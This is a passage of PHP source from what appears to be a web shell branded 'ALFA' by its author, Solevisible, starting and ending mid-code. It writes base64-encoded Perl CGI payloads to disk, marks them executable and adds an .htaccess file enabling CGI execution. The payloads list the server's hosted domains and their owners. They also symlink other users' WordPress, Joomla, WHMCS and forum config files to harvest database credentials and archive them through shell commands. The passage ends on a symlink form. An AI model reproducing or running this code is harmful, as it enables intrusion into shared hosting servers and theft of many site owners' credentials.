AoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCkBrciA9IDxkMG1haW5zPjsNCmNsb3NlIGQwbWFpbnM7DQppZiAoJGVycil7DQpwcmludCAoJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD48cCBjbGFzcz0ic3R5bGUxIj5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQpkaWUoKTsNCn1lbHNlew0KcHJpbnQgJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD4NCjxwIGNsYXNzPSJzdHlsZTEiPjxiPjxiaWc+PGZvbnQgY29sb3I9InJlZCI+Q29kZWQgQnkgPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+U29sZSBTYWQgJiBJbnZpc2libGU8L2ZvbnQ+PC9iPjwvYmlnPjxicj48YnI+IDxmb250IGNvbG9yPSJyZWQiPjxiPjxiaWc+Q29udGFjdCA6IDwvYj48L2JpZz48L2ZvbnQ+PGZvbnQgY29sb3I9ImdyZWVuIj48Yj48YmlnPnNvbGV2aXNpYmxlQGdtYWlsLmNvbTwvYj48L2JpZz48L2ZvbnQ+PGJyPjxicj48Zm9udCBjb2xvcj0iZ29sZCI+SGVyZSBJcyBBbGwgRG9taW5zICYgVXNlcnMgOjwvZm9udD48L3A+DQonO30NCmZvcmVhY2ggbXkgJG9uZSAoQGtyKQ0Kew0KaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7Lyl7DQokZmlsZW5hbWU9ICIvZXRjL3ZhbGlhc2VzLyIuJDE7DQokb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQpwcmludCAnPHAgY2xhc3M9InN0eWxlMSI+Jy4kMS4nIDogJy4kb3duZXIuJzwvcD4NCic7DQp9DQp9DQpwcmludCc8L2JvZHk+PC9odG1sPic7';
  2097. $solevisible1 = fopen('user.alfa','w+');
  2098. $solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
  2099. fclose($solevisible1);
  2100. chmod('user.alfa',0755);
  2101. echo '<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><iframe src=userpl/user.alfa width=100% height=600px frameborder=0></iframe> ';
  2102. }
  2103. if(isset($_POST['alfa5']) && $_POST['alfa5']=='cfucker')
  2104. {
  2105. mkdir('alfaconfig',0755);
  2106. chdir('alfaconfig');
  2107. $solevisible7 = '.htaccess';
  2108. $solevisible6 = "$solevisible7";
  2109. $solevisible4 = fopen ($solevisible6 ,'w') or die ('ERROR!!!');
  2110. $solevisible5 = 'Options FollowSymLinks MultiViews Indexes ExecCGI
  2111. AddType application/x-httpd-cgi .alfa
  2112. AddHandler cgi-script .alfa
  2113. AddHandler cgi-script .alfa';
  2114. fwrite ( $solevisible4 ,$solevisible5 ) ;
  2115. fclose ($solevisible4);
  2116. $solevisible3 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5Tb2xldmlzaWJsZSBDb25maWcgRnVja2VyPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQouc29sZXZpc2libGUgew0KICAgIGZvbnQtZmFtaWx5OiBUYWhvbWE7DQogICAgZm9udC1zaXplOiAxNHB4Ow0KICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgIGNvbG9yOiAjMzMzM2ZmOw0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICB0ZXh0LXNoYWRvdzogYmxhY2sgMHB4IDBweCAycHg7DQp9DQojY2hlY2tvdXR0ZXh0YXJlYSB7DQoNCiAgd2Via2l0LWJvcmRlci1yYWRpdXM6IDE1cHg7DQoNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLW9zY29tbWVyY2VzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wcGluZy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3Atc2hvcHBpbmcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2FsZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNhbGUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21lbWJlcnMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictbWVtYmVycy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1mb3J1bS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bXMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1mb3J1bXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nLTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13cC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtV1AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd3AtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1wcmVzcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9Xb3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd29yZHByZXNzLWJldGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLXdwLWJsb2dzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1ob21lLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC93cC1jb25maWcucGhwJywka29sYS4nLXdwLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3Atc2l0ZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtdGVzdC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLictNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLictOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLictMTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1wcm90YWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvby50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1zaXRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLW1haW4udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLW5ldy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1ob21lLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdmIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIzL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictaW5jbHVkZXMtdmIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobTE1LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLWNlbnRyYWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobWMtV0hNLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1Y3VyZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1Y3VyZS13aG0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1Y3VyZS13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3BhbmVsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXBhbmVsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRrb2xhLictd2htY3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudGVzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50c3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbWFuYWdlLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbXkudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215c2hvcC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbXlzaG9wLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC16ZW5jYXJ0LnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLVpDc2hvcC50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLXNtZi50eHQnKTsgDQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYyLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictc21mLWZvcnVtLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bXMvU2V0dGluZ3MucGhwJywka29sYS4nLXNtZi1mb3J1bXMudHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC91cC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwMi50eHQnKTsgDQp9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ic29sZXZpc2libGUiIGJnY29sb3I9IiMwMDAwMDAiPg0KPHA+U29sZXZpc2libGVbQUxGQSBURWFNXSBDb25maWcgRnVja2VyPC9wPg0KPHA+c29sZXZpc2libGVbYXRdZ21haWwuY29tPC9wPg0KPHNwYW4+PGZvbnQgY29sb3I9InJlZCI+bm90ZTo8L2ZvbnQ+IGVudGVyIHBhc3N3ZD0+IDxmb250IGNvbG9yPSIjRkZGRkZGIj5jYXQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+PC9zcGFuPjxiciAvPg0KPGJyIC8+PGZvcm0gbWV0aG9kPSJwb3N0Ij48c3Ryb25nPg0KPHRleHRhcmVhIGlkPSJjaGVja291dHRleHRhcmVhIiBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjNweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6ICA0OThweDsgaGVpZ2h0OiAzNzBweDsgYmFja2dyb3VuZC1jb2xvcjojRkZGRkZGOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo5cHQ7IGNvbG9yOiBibGFjayIgID48L3RleHRhcmVhPjxiciAvPg0KJm5ic3A7PHA+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjNweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGRkY7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6YmxhY2s7ICIgIC8+PGJyIC8+DQombmJzcDs8L3A+DQo8cD4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb25maWcgR2V0IiBzdHlsZT0iYm9yZGVyOjNweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjogYmxhY2s7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGRkY7IiAvPjwvcD4NCjwvZm9ybT48L3N0cm9uZz4NCic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ic29sZXZpc2libGUiIGJnY29sb3I9IiMwMDAwMDAiPg0KPGgyPmNvbXBsZXRlZCA6KTwvaDI+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+PGZvbnQgY29sb3I9IiMwMEZGMDAiPg0KPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+Q2xpY2sgSGVyZSBUbyBEb3dubG9hZCBUYXIgRmlsZTwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
  2117. $solevisible1 = fopen('config.alfa','w+');
  2118. $solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
  2119. fclose($solevisible1);
  2120. chmod('config.alfa',0755);
  2121. echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br>";
  2122. echo '<iframe src=alfaconfig/config.alfa width=100% height=600px frameborder=0></iframe> ';
  2123. }
  2124. if(isset($_POST['alfa4']) && $_POST['alfa4']=='SymFile')
  2125. {
  2126. echo '
  2127. <script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_="";</script>
  2128. <center>
  2129. <pre id="strOutput" style="margin-top:5px" class="ml1"></pre><br>
  2130. <form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
  2131. <b><big><font color="#FFFF01" >==</font> <font color="#00A220">Symlink</font> <font color="#FFFFFF">File And</font><font color="#FF0000"> Directory</font><font color="#FFFF01"> ==</font></b></big><p>
  2132. <input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br /><p>
